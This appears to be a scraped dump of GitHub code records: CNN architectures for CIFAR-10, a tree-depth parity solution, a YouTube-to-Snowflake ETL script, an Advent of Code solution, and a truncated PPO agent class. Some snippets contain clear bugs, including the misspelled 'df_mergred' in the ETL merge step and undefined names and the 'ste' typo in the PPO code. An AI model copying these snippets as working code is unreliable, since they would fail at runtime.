self.act4(x)\n\n    x = self.conv5(x)\n    if self.batch_norm:\n      x = self.bn5(x, training=training)\n    x = self.act5(x)\n\n    out = self.pool(x)\n    return out\n\n\nclass FitNet4(Model):\n  def __init__(self, **kwargs):\n    super(FitNet4, self).__init__()\n\n    print('---------------- FitNet-4 ----------------')\n\n    initializer = tf.keras.initializers.VarianceScaling(scale=2.0)\n    self.batch_norm = kwargs.get('batch_norm', False)\n    num_classes = kwargs.get('num_classes', 100)\n    activation = kwargs.get('activation', ReLU)\n    dropout_rate = kwargs.get('dropout_rate', 0.65)\n    verbose = kwargs.get('verbose', False)\n\n    fit1_params = {'conv1_filters': 64,\n                   'conv2_filters': 64,\n                   'conv3_filters': 92,\n                   'conv4_filters': 92,\n                   'conv5_filters': 92,\n                   }\n\n    fit2_params = {'conv1_filters': 92,\n                   'conv2_filters': 92,\n                   'conv3_filters': 128,\n                   'conv4_filters': 128,\n                   'conv5_filters': 128,\n                   }\n\n    fit3_params = {'conv1_filters': 128,\n                   'conv2_filters': 128,\n                   'conv3_filters': 256,\n                   'conv4_filters': 256,\n                   'conv5_filters': 256,\n                   }\n    \n    fit4_params = {'conv1_filters': 256,\n                   'conv2_filters': 256,\n                   'conv3_filters': 384,\n                   'conv4_filters': 384,\n                   'conv5_filters': 384,\n                   'pool_size': (8, 8),\n                   }\n\n\n    self.fit1 = FitNet4Block(**fit1_params)\n    self.drop1 = Dropout(rate=dropout_rate)\n    self.fit2 = FitNet4Block(**fit2_params)\n    self.drop2 = Dropout(rate=dropout_rate)\n    self.fit3 = FitNet4Block(**fit3_params)\n    self.drop3 = Dropout(rate=dropout_rate)\n    self.fit4 = FitNet4Block(**fit4_params)\n    self.flat = Flatten()\n    self.fc1 = Dense(1000, kernel_initializer=initializer)\n    self.act1 = activation()\n    self.out = Dense(num_classes, activation='softmax', kernel_initializer=initializer)\n\n    if self.batch_norm:\n      self.bn1 = BatchNormalization()\n\n  def call(self, x, training=False):\n    print('training: ', str(training))\n    x = self.fit1(x, training=training)\n    x = self.drop1(x, training=training)\n    x = self.fit2(x, training=training)\n    x = self.drop2(x, training=training)\n    x = self.fit3(x, training=training)\n    x = self.drop3(x, training=training)\n    x = self.fit4(x, training=training)\n    x = self.flat(x)\n    x = self.fc1(x)\n    if self.batch_norm:\n      x = self.bn1(x, training=training)\n    x = self.act1(x)\n    out = self.out(x)\n\n    return out\n\n\nclass InceptionModule(Model):\n  def __init__(self, **kwargs):\n    super(InceptionModule, self).__init__()\n\n    self.batch_norm = kwargs.pop('batch_norm', False)\n    activation = kwargs.pop('activation', ReLU)\n    tower0_conv1_filters = kwargs.pop('tower0_conv1', 64)\n    tower1_conv1_filters = kwargs.pop('tower1_conv1', 64)\n    tower1_conv2_filters = kwargs.pop('tower1_conv2', 64)\n    tower1_conv3_filters = kwargs.pop('tower1_conv3', 64)\n    tower2_conv1_filters = kwargs.pop('tower2_conv1', 64)\n    tower2_conv2_filters = kwargs.pop('tower2_conv2', 64)\n    tower3_conv1_filters = kwargs.pop('tower3_conv1', 64)\n    verbose = kwargs.get('verbose', False)\n    name = kwargs.get('name', 'NA')\n\n    if verbose:\n      print('--------------- Inception Layer: %s ---------------' % name)\n      print('tower 0, conv 1 filters: ', tower0_conv1_filters)\n      print('tower 1, conv 1 filters: ', tower1_conv1_filters)\n      print('tower 1, conv 2 filters: ', tower1_conv2_filters)\n      print('tower 1, conv 3 filters: ', tower1_conv3_filters)\n      print('tower 2, conv 1 filters: ', tower2_conv1_filters)\n      print('tower 2, conv 2 filters: ', tower2_conv2_filters)\n      print('tower 3, conv 1 filters: ', tower3_conv1_filters)\n\n    self.tower0_conv1 = Conv2D(filters=tower0_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower0_act1 = activation()\n\n    self.tower1_conv1 = Conv2D(filters=tower1_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower1_act1 = activation()\n    self.tower1_conv2 = Conv2D(filters=tower1_conv2_filters, kernel_size=(3, 3), padding='same')\n    self.tower1_act2 = activation()\n    self.tower1_conv3 = Conv2D(filters=tower1_conv3_filters, kernel_size=(3, 3), padding='same')\n    self.tower1_act3 = activation()\n\n    self.tower2_conv1 = Conv2D(filters=tower2_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower2_act1 = activation()\n    self.tower2_conv2 = Conv2D(filters=tower2_conv2_filters, kernel_size=(3, 3), padding='same')\n    self.tower2_act2 = activation()\n\n    self.tower3_pool1 = AveragePooling2D((3, 3), strides=(1, 1), padding='same')\n    self.tower3_conv1 = Conv2D(filters=tower3_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower3_act1 = activation()\n\n    if self.batch_norm:\n      self.tower0_bn1 = BatchNormalization()\n      self.tower1_bn1 = BatchNormalization()\n      self.tower1_bn2 = BatchNormalization()\n      self.tower1_bn3 = BatchNormalization()\n      self.tower2_bn1 = BatchNormalization()\n      self.tower2_bn2 = BatchNormalization()\n      self.tower3_bn1 = BatchNormalization()\n\n  def call(self, x, **kwargs):\n    training = kwargs.get('training', False)\n\n    # tower 0 feed-forward\n    x0 = self.tower0_conv1(x)\n    if self.batch_norm:\n      x0 = self.tower0_bn1(x0, training=training)\n    x0 = self.tower0_act1(x0)\n\n    # tower one feed-forward\n    x1 = self.tower1_conv1(x)\n    if self.batch_norm:\n      x1 = self.tower1_bn1(x1, training=training)\n    x1 = self.tower1_act1(x1)\n    x1 = self.tower1_conv2(x1)\n    if self.batch_norm:\n      x1 = self.tower1_bn2(x1, training=training)\n    x1 = self.tower1_act2(x1)\n    x1 = self.tower1_conv3(x1)\n    if self.batch_norm:\n      x1 = self.tower1_bn3(x1, training=training)\n    x1 = self.tower1_act3(x1)\n\n    # tower two feed-forward\n    x2 = self.tower2_conv1(x)\n    if self.batch_norm:\n      x2 = self.tower2_bn1(x2, training=training)\n    x2 = self.tower2_act1(x2)\n    x2 = self.tower2_conv2(x2)\n    if self.batch_norm:\n      x2 = self.tower2_bn2(x2, training=training)\n    x2 = self.tower2_act2(x2)\n\n    # tower three feed-forward\n    x3 = self.tower3_pool1(x)\n    x3 = self.tower3_conv1(x3)\n    if self.batch_norm:\n      x3 = self.tower3_bn1(x3, training=training)\n    x3 = self.tower3_act1(x3)\n\n    out = concatenate([x0, x1, x2, x3], axis=3)\n    return out\n\n\nclass InceptionModuleV2(Model):\n  def __init__(self, **kwargs):\n    super(InceptionModuleV2, self).__init__()\n\n    self.batch_norm = kwargs.pop('batch_norm', False)\n    activation = kwargs.pop('activation', ReLU)\n    tower0_conv1_filters = kwargs.pop('tower0_conv1', 64)\n    tower1_conv1_filters = kwargs.pop('tower1_conv1', 64)\n    tower1_conv2_filters = kwargs.pop('tower1_conv2', 64)\n    tower1_conv3_filters = kwargs.pop('tower1_conv3', 64)\n    tower1_conv4_filters = kwargs.pop('tower1_conv4', 64)\n    tower1_conv5_filters = kwargs.pop('tower1_conv5', 64)\n    tower2_conv1_filters = kwargs.pop('tower2_conv1', 64)\n    tower2_conv2_filters = kwargs.pop('tower2_conv2', 64)\n    tower2_conv3_filters = kwargs.pop('tower2_conv3', 64)\n    tower3_conv1_filters = kwargs.pop('tower3_conv1', 64)\n    verbose = kwargs.get('verbose', False)\n    name = kwargs.get('name', 'NA')\n\n    if verbose:\n      print('--------------- Inception Layer: %s ---------------' % name)\n      print('tower 0, conv 1 filters: ', tower0_conv1_filters)\n      print('tower 1, conv 1 filters: ', tower1_conv1_filters)\n      print('tower 1, conv 2 filters: ', tower1_conv2_filters)\n      print('tower 1, conv 3 filters: ', tower1_conv3_filters)\n      print('tower 1, conv 4 filters: ', tower1_conv4_filters)\n      print('tower 1, conv 5 filters: ', tower1_conv5_filters)\n      print('tower 2, conv 1 filters: ', tower2_conv1_filters)\n      print('tower 2, conv 2 filters: ', tower2_conv2_filters)\n      print('tower 2, conv 3 filters: ', tower2_conv3_filters)\n      print('tower 3, conv 1 filters: ', tower3_conv1_filters)\n\n    self.tower0_conv1 = Conv2D(filters=tower0_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower0_act1 = activation()\n\n    self.tower1_conv1 = Conv2D(filters=tower1_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower1_act1 = activation()\n    self.tower1_conv2 = Conv2D(filters=tower1_conv2_filters, kernel_size=(1, 5), padding='same')\n    self.tower1_act2 = activation()\n    self.tower1_conv3 = Conv2D(filters=tower1_conv3_filters, kernel_size=(5, 1), padding='same')\n    self.tower1_act3 = activation()\n    self.tower1_conv4 = Conv2D(filters=tower1_conv4_filters, kernel_size=(1, 5), padding='same')\n    self.tower1_act4 = activation()\n    self.tower1_conv5 = Conv2D(filters=tower1_conv5_filters, kernel_size=(5, 1), padding='same')\n    self.tower1_act5 = activation()\n\n    self.tower2_conv1 = Conv2D(filters=tower2_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower2_act1 = activation()\n    self.tower2_conv2 = Conv2D(filters=tower2_conv2_filters, kernel_size=(1, 3), padding='same')\n    self.tower2_act2 = activation()\n    self.tower2_conv3 = Conv2D(filters=tower2_conv3_filters, kernel_size=(3, 1), padding='same')\n    self.tower2_act3 = activation()\n\n    self.tower3_pool1 = AveragePooling2D((3, 3), strides=(1, 1), padding='same')\n    self.tower3_conv1 = Conv2D(filters=tower3_conv1_filters, kernel_size=(1, 1), padding='same')\n    self.tower3_act1 = activation()\n\n    if self.batch_norm:\n      self.tower0_bn1 = BatchNormalization()\n      self.tower1_bn1 = BatchNormalization()\n      self.tower1_bn2 = BatchNormalization()\n      self.tower1_bn3 = BatchNormalization()\n      self.tower1_bn4 = BatchNormalization()\n      self.tower1_bn5 = BatchNormalization()\n      self.tower2_bn1 = BatchNormalization()\n      self.tower2_bn2 = BatchNormalization()\n      self.tower2_bn3 = BatchNormalization()\n      self.tower3_bn1 = BatchNormalization()\n\n  def call(self, x, **kwargs):\n    training = kwargs.get('training', False)\n\n    # tower 0 feed-forward\n    x0 = self.tower0_conv1(x)\n    if self.batch_norm:\n      x0 = self.tower0_bn1(x0, training=training)\n    x0 = self.tower0_act1(x0)\n\n    # tower one feed-forward\n    x1 = self.tower1_conv1(x)\n    if self.batch_norm:\n      x1 = self.tower1_bn1(x1, training=training)\n    x1 = self.tower1_act1(x1)\n    # 2\n    x1 = self.tower1_conv2(x1)\n    if self.batch_norm:\n      x1 = self.tower1_bn2(x1, training=training)\n    x1 = self.tower1_act2(x1)\n    # 3\n    x1 = self.tower1_conv3(x1)\n    if self.batch_norm:\n      x1 = self.tower1_bn3(x1, training=training)\n    x1 = self.tower1_act3(x1)\n    # 4\n    x1 = self.tower1_conv4(x1)\n    if self.batch_norm:\n      x1 = self.tower1_bn4(x1, training=training)\n    x1 = self.tower1_act4(x1)\n    # 5\n    x1 = self.tower1_conv5(x1)\n    if self.batch_norm:\n      x1 = self.tower1_bn5(x1, training=training)\n    x1 = self.tower1_act5(x1)\n\n    # tower two feed-forward\n    x2 = self.tower2_conv1(x)\n    if self.batch_norm:\n      x2 = self.tower2_bn1(x2, training=training)\n    x2 = self.tower2_act1(x2)\n    x2 = self.tower2_conv2(x2)\n    if self.batch_norm:\n      x2 = self.tower2_bn2(x2, training=training)\n    x2 = self.tower2_act2(x2)\n    x2 = self.tower2_conv3(x2)\n    if self.batch_norm:\n      x2 = self.tower2_bn3(x2, training=training)\n    x2 = self.tower2_act3(x2)\n\n    # tower three feed-forward\n    x3 = self.tower3_pool1(x)\n    x3 = self.tower3_conv1(x3)\n    if self.batch_norm:\n      x3 = self.tower3_bn1(x3, training=training)\n    x3 = self.tower3_act1(x3)\n\n    out = concatenate([x0, x1, x2, x3], axis=3)\n    return out\n\n\nclass InceptionLayerV2(Model):\n  def __init__(self, **kwargs):\n    super(InceptionLayerV2, self).__init__()\n    self.batch_norm = kwargs.get('batch_norm', False)\n    initializer = tf.keras.initializers.VarianceScaling(scale=2.0)\n    num_classes = kwargs.get('num_classes', 100)\n    activation = kwargs.get('activation', ReLU)\n\n    self.conv1 = Conv2D(filters=192, kernel_size=(1, 1), padding='same')\n    self.act1 = activation()\n\n    self.incep1 = InceptionModuleV2(**kwargs)\n\n    self.conv2 = Conv2D(filters=192, kernel_size=(1, 1), padding='same')\n    self.act2 = activation()\n\n    self.flat = Flatten()\n    self.fc = Dense(num_classes, activation='softmax', kernel_initializer=initializer)\n\n    if self.batch_norm:\n      self.bn1 = BatchNormalization()\n      self.bn2 = BatchNormalization()\n\n  def call(self, x, **kwargs):\n    training = kwargs.pop('training', False)\n\n    # feed-forward layers\n    x = self.conv1(x)\n    if self.batch_norm:\n      x = self.bn1(x, training=training)\n    x = self.act1(x)\n    x = self.incep1(x, training=training)\n    x = self.conv2(x)\n    if self.batch_norm:\n      x = self.bn2(x, training=training)\n    x = self.act2(x)\n    x = self.flat(x)\n    scores = self.fc(x)\n    return scores\n\n\nclass ConvolutionalModel(Model):\n  def __init__(self, **kwargs):\n    super(ConvolutionalModel, self).__init__()\n    initializer = tf.keras.initializers.VarianceScaling(scale=2.0)\n\n    self.batch_norm = kwargs.get('batch_norm', False)\n    num_classes = kwargs.get('num_classes', 100)\n    activation = kwargs.get('activation', ReLU)\n    verbose = kwargs.get('verbose', False)\n\n    # convolution filter sizes\n    conv1_filters = kwargs.get('conv1_filters', 64)\n    conv2_filters = kwargs.get('conv2_filters', 92)\n    conv3_filters = kwargs.get('conv1_filters', 128)\n    conv4_filters = kwargs.get('conv2_filters', 192)\n    conv5_filters = kwargs.get('conv1_filters', 192)\n    dropout_rate = kwargs.get('dropout_rate', 0.5)\n\n    # initialize layers\n    self.conv1 = Conv2D(filters=conv1_filters, kernel_size=(3, 3), padding='same')\n    self.act1 = activation()\n\n    self.conv2 = Conv2D(filters=conv2_filters, kernel_size=(3, 3), padding='same')\n    self.act2 = activation()\n\n    self.pool1 = MaxPooling2D((3, 3), padding='same')\n\n    self.conv3 = Conv2D(filters=conv3_filters, kernel_size=(3, 3), padding='same')\n    self.act3 = activation()\n\n    self.conv4 = Conv2D(filters=conv4_filters, kernel_size=(1, 1), padding='same')\n    self.act4 = activation()\n\n    self.pool2 = MaxPooling2D((3, 3), padding='same')\n\n    incep1_params = {'tower0_conv1': 64,\n                     'tower1_conv1': 96,\n                     'tower1_conv2': 128,\n                     'tower1_conv3': 128,\n                     'tower2_conv1': 616,\n                     'tower2_conv2': 32,\n                     'tower3_conv1': 32,\n                     'name': 'incep1_v1',\n                     'batch_norm': self.batch_norm,\n                     'activation': activation,\n                     'verbose': verbose\n                     }\n\n    incep2_params = {'tower0_conv1': 128,\n                     'tower1_conv1': 128,\n                     'tower1_conv2': 192,\n                     'tower1_conv3': 192,\n                     'tower2_conv1': 32,\n                     'tower2_conv2': 96,\n                     'tower3_conv1': 64,\n                     'name': 'incep2_v1',\n                     'batch_norm': self.batch_norm,\n                     'activation': activation,\n                     'verbose': verbose\n                     }\n\n    incep3_params = {'tower0_conv1': 192,\n                     'tower1_conv1': 96,\n                     'tower1_conv2': 128,\n                     'tower1_conv3': 128,\n                     'tower1_conv4': 128,\n                     'tower1_conv5': 128,\n                     'tower2_conv1': 16,\n                     'tower2_conv2': 48,\n                     'tower2_conv3': 48,\n                     'tower3_conv1': 64,\n                     'name': 'incep3_v2',\n                     'batch_norm': self.batch_norm,\n                     'activation': activation,\n                     'verbose': verbose\n                     }\n\n    incep4_params = {'tower0_conv1': 256,\n                     'tower1_conv1': 160,\n                     'tower1_conv2': 320,\n                     'tower1_conv3': 320,\n                     'tower1_conv4': 320,\n                     'tower1_conv5': 320,\n                     'tower2_conv1': 48,\n                     'tower2_conv2': 128,\n                     'tower2_conv3': 128,\n                     'tower3_conv1': 128,\n                     'name': 'incep4_v2',\n                     'batch_norm': self.batch_norm,\n                     'activation': activation,\n                     'verbose': verbose\n                     }\n\n    self.incep1 = InceptionModule(**incep1_params)\n    self.incep2 = InceptionModule(**incep2_params)\n\n    self.pool3 = MaxPooling2D((3, 3), padding='same')\n\n    self.incep3 = InceptionModuleV2(**incep3_params)\n    self.incep4 = InceptionModuleV2(**incep4_params)\n\n    self.pool4 = MaxPooling2D((3, 3), padding='same')\n\n    self.drop = Dropout(dropout_rate)\n\n    self.conv5 = Conv2D(filters=conv5_filters, kernel_size=(1, 1), padding='same')\n    self.act5 = activation()\n\n    self.flat = Flatten()\n    self.fc3 = Dense(num_classes, activation='softmax', kernel_initializer=initializer)\n\n    if self.batch_norm:\n      self.bn1 = BatchNormalization()\n      self.bn2 = BatchNormalization()\n      self.bn3 = BatchNormalization()\n      self.bn4 = BatchNormalization()\n      self.bn5 = BatchNormalization()\n\n  def call(self, x, training=False, **kwargs):\n\n    # feed-forward layers\n    x = self.conv1(x)\n    if self.batch_norm:\n      x = self.bn1(x, training=training)\n    x = self.act1(x)\n\n    x = self.conv2(x)\n    if self.batch_norm:\n      x = self.bn2(x, training=training)\n    x = self.act2(x)\n\n    x = self.pool1(x)\n\n    x = self.conv3(x)\n    if self.batch_norm:\n      x = self.bn3(x, training=training)\n    x = self.act3(x)\n\n    x = self.conv4(x)\n    if self.batch_norm:\n      x = self.bn4(x, training=training)\n    x = self.act4(x)\n\n    x = self.pool2(x)\n\n    # inception modules (1st block)\n    x = self.incep1(x, training=training)\n    x = self.incep2(x, training=training)\n\n    # pool\n    x = self.pool3(x)\n\n    # inception modules (2nd block)\n    x = self.incep3(x, training=training)\n    x = self.incep4(x, training=training)\n\n    x = self.pool4(x)\n\n    x = self.drop(x, training=training)\n    x = self.conv5(x)\n    if self.batch_norm:\n      x = self.bn5(x, training=training)\n    x = self.act5(x)\n\n    x = self.flat(x)\n    scores = self.fc3(x)\n    return scores\n\n\nif __name__ == '__main__':\n\n  (x_train, y_train), (x_test, y_test) = tf.keras.datasets.cifar10.load_data()\n  x_train, x_test = x_train / 255.0, x_test / 255.0\n\n  model = ConvolutionalModel(num_classes=10, verbose=True)\n\n  loss_function = tf.keras.losses.SparseCategoricalCrossentropy()\n  optimizer = tf.keras.optimizers.Adam()\n  metric = tf.keras.metrics.SparseCategoricalAccuracy()\n\n  # tensorboard callback\n  path = os.path.dirname(os.path.abspath(__file__))\n  run_time = time.strftime('%d%m%Y-%H:%M:%S')\n  log_dir = path + '/logs/cifar10-' + run_time\n  callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir, histogram_freq=1)\n\n  model.compile(optimizer=optimizer, loss=loss_function, metrics=[metric])\n\n  batch_size = 128\n  num_epochs = 1\n  start_time = time.time()\n\n  history = model.fit(x_train, y_train,\n                      batch_size=batch_size,\n                      epochs=num_epochs,\n                      validation_data=(x_test, y_test),\n                      callbacks=[callback]\n                      )\n\n  elapsed_time = time.time() - start_time\n  elapsed_hrs = int(elapsed_time // 3600)\n  elapsed_min = int((elapsed_time - elapsed_hrs * 3600) // 60)\n  elapsed_sec = int(elapsed_time - elapsed_hrs * 3600 - elapsed_min * 60)\n\n  print(model.summary())\n  print('---------------------')\n  print('elapsed time: %dh, %dm, %ds' % (elapsed_hrs, elapsed_min, elapsed_sec))\n  print('--------------- history ---------------')\n  print(history.history)\n\n  filename = path + '/results/cifar10-' + run_time + '.pickle'\n  with open(filename, 'wb') as f:\n    pickle.dump(history.history, f, pickle.HIGHEST_PROTOCOL)\n\n","repo_name":"brendanshanahan/project-activations","sub_path":"architectures/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":23242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"479364204","text":"# BOJ 15900 나무 탈출\n'''\n루트노드에서 각 리프까지 depth의 합이\n짝수이면 선공이 지고, 홀수이면 선공이 이긴다\n'''\nimport sys\nsys.setrecursionlimit(30000)\nsys.stdin = open('input.txt')\ninput = sys.stdin.readline\n\n\ndef DFS(v, depth):\n    global res\n    child = len(adj[v])\n\n    for nv in adj[v]:\n        if visited[nv]:         # 방문한적 있음 -> 리프노드가 아님\n            child -= 1          # 리프노드가 아님 -> 자식의 수 - 1\n        else:\n            visited[nv] = 1\n            DFS(nv, depth+1)\n\n    if child == 0:              # 자식의 수가 0 -> 리프노드\n        res += depth\n\n\nN = int(input())\nadj = [[] for _ in range(N+1)]\nfor _ in range(N-1):\n    n1, n2 = map(int, input().split())\n    adj[n1].append(n2)\n    adj[n2].append(n1)\nres = 0\nvisited = [0] * (N+1)\nvisited[1] = 1\nDFS(1, 0)\nprint('Yes') if res%2 else print('No')\n\n\n### 다른풀이 ########################################################\n\n\ndef DFS(v):\n    for nv in adj[v]:\n        if visited[nv] == -1:               # 방문한적 없으면\n            visited[nv] = visited[v] + 1    # 자식 깊이 = 부모깊이 + 1\n            DFS(nv)\n\n\nN = int(input())\nadj = [[] for _ in range(N+1)]\nfor _ in range(N-1):\n    n1, n2 = map(int, input().split())\n    adj[n1].append(n2)\n    adj[n2].append(n1)\n\nvisited = [-1] * (N+1)      # value: 루트에서의 깊이\nvisited[1] = 0              # 루트노드의 깊이: 0\nDFS(1)\n\nres = 0\nfor i in range(2, N+1):\n    if len(adj[i]) == 1:    # 리프노드일때\n        res += visited[i]   # 깊이\nprint('Yes') if res%2 else print('No')\n","repo_name":"hy2jin/TIL","sub_path":"ALGORITHM/BOJ/22년8월_이전/15900_나무탈출.py","file_name":"15900_나무탈출.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4465774742","text":"import requests\nimport pandas as pd\nimport time, datetime\nfrom datetime import datetime\nimport snowflake.connector\nimport configparser\nimport configparser\n\ntoday = datetime.now()\ntoday.strftime('%Y-%m-%d')\n\ndef get_raw_data(API_KEY: str):\n  try: \n    request_url = \"https://www.googleapis.com/youtube/v3/videos?part=id,statistics,snippet&chart=mostPopular&regionCode=PL&maxResults=50&key=\"+API_KEY\n  except Exception as e:\n    print('Something went wrong with loading data: ', e)\n  finally:\n    print('Loading raw data finished: ', datetime.now().strftime('%Y-%m-%d'))\n\n  response = requests.get(request_url).json()\n  time.sleep(5)\n  raw = response\n\n  return raw\n\n\ndef get_data_cleaned(df, raw):\n  # get video snippet\n  for item in raw[\"items\"]: \n    # if item['kind'] == 'youtube#video':\n      video_id = item['id']\n      video_title = item['snippet']['title']\n      upload_date = str(item['snippet']['publishedAt']).split('T')[0]\n      category_id = item['snippet']['categoryId']\n      # tags = item['snippet']['tags']\n      views_count = item['statistics']['viewCount']\n      like_count = item['statistics']['likeCount']\n      comment_count = item['statistics']['commentCount']\n\n      append_features = {\"video_id\":video_id,\n                        \"video_title\" : video_title,\n                        'upload_date': upload_date,\n                        'view_count': views_count,\n                        'like_count': like_count,\n                        'comment_count': comment_count,\n                        'category_id' : category_id,\n                        }\n\n      df = df.append(append_features,\n                      ignore_index = True)\n\n  return df\n\n\ndef get_categories(df_cat, API_KEY):\n    try: \n        url = 'https://www.googleapis.com/youtube/v3/videoCategories?part=snippet&regionCode=PL&key='+API_KEY\n    except Exception as e:\n        print('Something went wrong with loading categories data: ', e)\n    finally:\n        print('Loading categories finished: ')\n\n    cat_req = requests.get(url).json()\n    for item in cat_req['items']: \n        category_id = item['id']\n        category_name = item['snippet']['title']\n\n        append_features = {\"category_id\" : category_id,\n                        'category_name' : category_name}\n\n        df_cat = df_cat.append(append_features,  ignore_index = True)\n    \n    return df_cat\n\n\ndef get_dislikes(df_dis, video_id: str):\n    try:\n        url = 'https://returnyoutubedislikeapi.com/votes?videoId='+video_id\n    except Exception as e:\n        print('Something went wrong with loading dislikes data: ', e)\n\n    dis_req = requests.get(url).json()\n    for dis in dis_req:\n        dislike_count = dis_req['dislikes']\n        rating = dis_req['rating'] \n        append_features = {'video_id': video_id,\n                           'dislike_count': dislike_count,\n                           'rating': rating}\n\n        df_dis = df_dis.append(append_features, ignore_index = True)\n      \n    return df_dis\n        \n\ndef merge_datasets(df, df_cat, df_dis):\n    df_merged1 = pd.merge(df, df_cat, on = 'category_id')\n    df_mergred = pd.merge(df_merged1, df_dis, on = 'video_id')\n    # add columns for future data validation check\n    df_merged['likes_availability'] = True\n    print('Merging datasets finished', today)\n\n    # TBA instead of nulls\n    df_merged = df_merged.fillna('TBA')\n\n    return df_merged\n\n\ndef df_to_csv(df): \n    file_csv = 'youtube-api-project/dataset.csv'\n    df.to_csv(file_csv, sep=';', encoding='utf-8')\n\n    return file_csv\n  \n  \n  \n  \ndef load(path_to_config, file_path):\n  parser = configparser.ConfigParser()\n  parser.read(path_to_config)\n  username = parser.get('snowflake', 'user')\n  password = parser.get('snowflake', 'password')\n  account_name = parser.get('snowflake', 'account_name')\n\n  snow_conn = snowflake.connector.connect(\n      user = username,\n      password = password,\n      account = account_name\n  )\n\n  sql = '''\n      COPY INTO youtube-videos\n      FROM @my_s3_stage\n        pattern = {file}\n  '''.format(file = file_path)\n\n  cur = snow_conn.cursor()\n  cur.execute(sql)\n  cur.close()\n\n\ndef main():\n    # def extract creds\n    parser = configparser.ConfigParser()\n    parser.read('pipeline.conf')\n    API_KEY = parser.get('api', 'youtube-key')\n    df = pd.DataFrame(columns = ['video_id', 'video_title', 'upload_date', 'view_count', 'like_count', 'comment_count','category_id',])\n    df_dis = pd.DataFrame(columns = ['video_id', 'dislike_count', 'rating'])\n    df_cat = pd.DataFrame(columns = ['category_id', 'category_name'])\n\n    raw = get_raw_data(API_KEY = API_KEY)\n    df = get_data_cleaned(df =df, raw = raw)\n    df_cat = get_categories(df_cat=df_cat, API_KEY=API_KEY)\n    for ind in df.index:  \n      df_dis = df_dis.append(get_dislikes(df_dis, df['video_id'][ind]))\n\n    df_merged = merge_datasets(df = df, df_cat = df_cat, df_dis = df_dis)\n    file_csv = df_to_csv(df = df_merged)\n    \n    load('pipeline.conf', file_csv)\n    \n    return file_csv\n\n\nmain()\n\n","repo_name":"ivmarchuk/get-yt-trends","sub_path":"yt-etl.py","file_name":"yt-etl.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12967474011","text":"def collapse(polymer):\n    polymer = list(polymer)\n    i = 0\n    while i < len(polymer) - 1:\n        if polymer[i].lower() == polymer[i + 1].lower() and polymer[i] != polymer[i + 1]:\n            # Remove both i and i+1 indices, set i back to max(0, i-1)\n            del polymer[i : i + 2]\n            i = max(0, i - 1)\n        else:\n            i += 1\n    return \"\".join(polymer)\n\n\ndef part1Answer(f):\n    polymer = f.read().strip()\n    polymer = collapse(polymer)\n    return len(polymer)\n\n\ndef part2Answer(f):\n    polymer = f.read().strip()\n    shortest = len(polymer)\n    chars = {l.lower() for l in polymer}\n    for char in chars:\n        subpoly = polymer.replace(char, \"\").replace(char.upper(), \"\")\n        subpoly = collapse(subpoly)\n        shortest = min(shortest, len(subpoly))\n    return shortest\n\n\nif __name__ == \"__main__\":\n    f = open(\"input.txt\", \"rt\")\n    print(\"Part 1: {}\".format(part1Answer(f)))\n    f.seek(0)\n    print(\"Part 2: {}\".format(part2Answer(f)))\n","repo_name":"dmendelsohn/advent_of_code","sub_path":"python/src/year2018/day05/day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"39834535024","text":"import numpy\nimport torch\n\nfrom ppo_agent import PPO_agent\n\nclass Learning_agent:\n    def __init__(self, params, envs, agent):\n        self.params = params\n        self.envs = envs\n        self.agent = agent\n        \n        # all needed tables of size (steps, environments number)\n        # except of state. It should be (steps, [env_number, state_size])\n        # state tensor\n        self.states = torch.zeros((params.n_steps, params.n_envs, params.state_size), dtype=torch.float32, device = params.device)\n        # float tensors\n        self.gae_values = torch.zeros((params.n_steps, params.n_envs), dtype=torch.float32, device = params.device)\n        self.log_probs = torch.zeros((params.n_steps, params.n_envs), dtype=torch.float32, device = params.device)\n        self.values = torch.zeros((params.n_steps, params.n_envs), dtype=torch.float32, device = params.device)\n        self.gae_returns = torch.zeros((params.n_steps, params.n_envs), dtype=torch.float32, device = params.device)\n        # int tensors\n        self.actions = torch.zeros((params.n_steps, params.n_envs), dtype=torch.int32, device = params.device)\n        self.rewards = torch.zeros((params.n_steps, params.n_envs), dtype=torch.int32, device = params.device)\n        self.dones = torch.zeros((params.n_steps, params.n_envs), dtype=torch.uint8, device = params.device)\n    \n    # collect old_prob trajectories \n    # for params.steps\n    # during each step : action, value, log_prob is collected from given policy\n    # next_state, reward, done from enviroments\n    # all data are copied to proper tensors (using copy_)\n    # last value is collected then for steps+1 time frame\n    # after all steps gae is calculated and saved to proper tensor\n    def collect_trajectories(self):\n        \n        state = self.envs.reset()\n        \n        # running for all steps\n        for step in range(params.steps):\n            # converting state to tensor\n            state = torch.FloatTensor(states).to(self.params.device)\n            action, log_prob, value = self.agent.select_action(state)\n            \n            # copy_(...) is used to keep gradient alive for original state, action, log_prob, value \n            # to keep them in coputational graph.\n            # gradientw for self.states etc is 0 but for copy_(variable) ; variable that is copied is 1\n            # so when backpropagation is running is will get good route form action to network etc.\n            self.states[step].copy_(state)\n            self.actions[ste].copy_(action)\n            self.log_probs[step].copy_(log_prob)\n            self.values[step].copy_(value)\n            \n            # getting state, areward, done\n            state, reward, done, _ = self.envs.step(action.cpu())\n            \n            # same as above with copy_(...)\n            # done, reward needs to be converted to tensors to push them into array\n            # plus to enable gradient computation\n            self.reward[step].copy_(reward)\n            self.dones[step].copy_(done)\n            \n            # if done == True reset env\n            if np.any(done):\n                state = env.reset()\n        \n        # getting last value - needed for gae computation ( td_error part )\n        _, _, last_value = self.agent.select_action(state)\n            